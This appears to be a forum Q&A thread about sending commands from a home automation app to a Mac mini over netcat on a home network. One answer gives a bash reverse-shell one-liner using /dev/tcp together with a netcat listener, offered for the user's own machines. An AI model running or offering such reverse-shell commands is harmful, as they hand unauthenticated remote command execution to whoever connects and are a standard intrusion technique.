Use netcat to tell a remote Mac to run/open a file

0

I have very limited (almost no) knowledge of how netcat works other than I've managed to get one Mac mini to listen on port 13370 [using nc -l 13370] (for TCP commands?) and I have a MacBook that has connected to the Mac mini using [nc 192.168.1.xxx 13370], and whatever I type in Terminal on the MacBook shows up (echoes?) on the Mac mini's Terminal.

I want to be able to tell the Mac mini to open a file (also stored on the Mac mini), from another device on the same LAN. So currently I'm using the MacBook, but ultimately I want to send commands from a home automation app that I am making, to for example play a video on the Mac mini which is connected to a TV screen. Or any other command that you could usually do in Terminal. My app cannot connect to the Mac mini using SSH which is why I'm trying this way.

What command would I need to send to open the file? IS there some format that I should use etc? Grateful for any help.

manaman

Posted 2018-11-14T15:09:18.490

Reputation: 1

2You can [edit] your question anytime. – None – 2018-11-14T15:11:29.650

What is the reason that you cannot use SSH? Are you saying that you don't have access to SSH on one of the machines, or are you saying that your application can only send connections over a port? – DKing – 2018-11-14T15:36:27.900

The application cannot connect using SSH. I've been advised by the software maker to use netcat / telnet etc. Yes I think it can only communicate over a port – manaman – 2018-11-14T15:57:32.823

@manaman I have a script which uses netcat to do exactly this, but it's written in batch for Windows. Shouldn't take more than a few minutes to port it tho.

– rahuldottech – 2018-11-14T16:22:20.103

Are you developing this application as your question says, or is there a manufacturer involved as your comment indicates? I am a bit confused as to why you're setting it up like this – bertieb – 2018-11-14T17:06:09.263

@bertieb I'm using software called DemoPad which does the compiling of the app once I've set all the commands and devices in the smart home project in the desktop program where the project is built. so I'm bound by the protocols that DemoPad allows. – manaman – 2018-11-14T22:38:28.180

Answers

0

The netcat tool is simply a network connection tool. It can listen on any port and can connect to any port. It can output that information or even have data piped to it. It is a very useful too. Unfortunately, it only listens and sends information; it does not execute any commands itself. Therefore, netcat is not the tool for what you are wanting to do. The same is true of telnet.

In order to run commands on a remote server, you would need some software that is running on that remote server which would accept those commands. The tool to use for executing commands on a remote server is SSH. The listening server would be running the SSHD daemon. You could go through the trouble of trying to find a way to hack into the server some other way, but since you have access to that device already, that would really be more trouble than it would be worth since SSH already exists.

You say that your application cannot connect to SSH, but if it has access to netcat, then I would recommend using whatever access that is to gain access to SSH, and execute your commands from there.

If the way that you are connecting to netcat is that you have it listening on a port and the only thing your application can do is to connect to that port, then what you are wanting is to make some sort of an API, or some software which can handle requests over a port and use them to execute commands on the terminal through SSH. I found this article with some suggestions for doing so in BASH:

https://unix.stackexchange.com/questions/314550/how-to-set-a-script-to-execute-when-a-port-receives-a-message

Once you are able to get the request into a shell script, you can either make that script execute your commands directly, or you could write additional scripts which are triggered by the listening software. I would have this software listening on the client, rather than on the remote server, and you could access it over localhost (127.0.0.1). Also, remember to add an SSH key so that your connection to the remote server would not require any passwords to be used. This article may help with that:

https://docs.joyent.com/public-cloud/getting-started/ssh-keys/generating-an-ssh-key-manually/manually-generating-your-ssh-key-in-mac-os-x

DKing

Posted 2018-11-14T15:09:18.490

Reputation: 250

0

You can create a reverse shell on MacOS (on computer 1) like this:

bash -i >& /dev/tcp/ip-address-of-computer-2/1337 0>&1

And then connect to it from another computer (computer 2) using one of these netcat commands (depends on the implementation):

nc -l -p 1337

or

nc -l 1337

Now you can type in bash commands on computer 2 and they will get executed on the computer on which the remote shell is running (computer 1).

rahuldottech

Posted 2018-11-14T15:09:18.490

Reputation: 5 095

Computer 1 keeps saying 'connection refused' when I type bash -i >& /dev/tcp/ip-address-of-computer-2/1337 0>&1. Computer 2 IP address is static and is also a Mac... – manaman – 2018-11-22T14:19:28.923

@manaman check your firewall, open port 1337 – rahuldottech – 2018-11-23T13:05:09.180

@manaman, also try running the commands for computer 2 before you run the commands for computer 1 – rahuldottech – 2018-11-23T13:13:01.873

0

Thanks everyone for your help on this, your help contributed after much trial and error to me eventually finding a way to do what I wanted. I decided in the end not to try and connect with the Mac itself via telnet, but rather the VLC app directly which has its own telnet server on port 4212. I kept getting 'connection refused' when trying to telnet to the Mac, but VLC on port 4212 connects fine, as long as a password is set in VLC.

Controlling VLC was the main thing I wanted to do so I am happy with this. My app is also able to send commands the same way the Mac client does via Terminal, so all good. Thanks once again everyone!

manaman

Posted 2018-11-14T15:09:18.490

Reputation: 1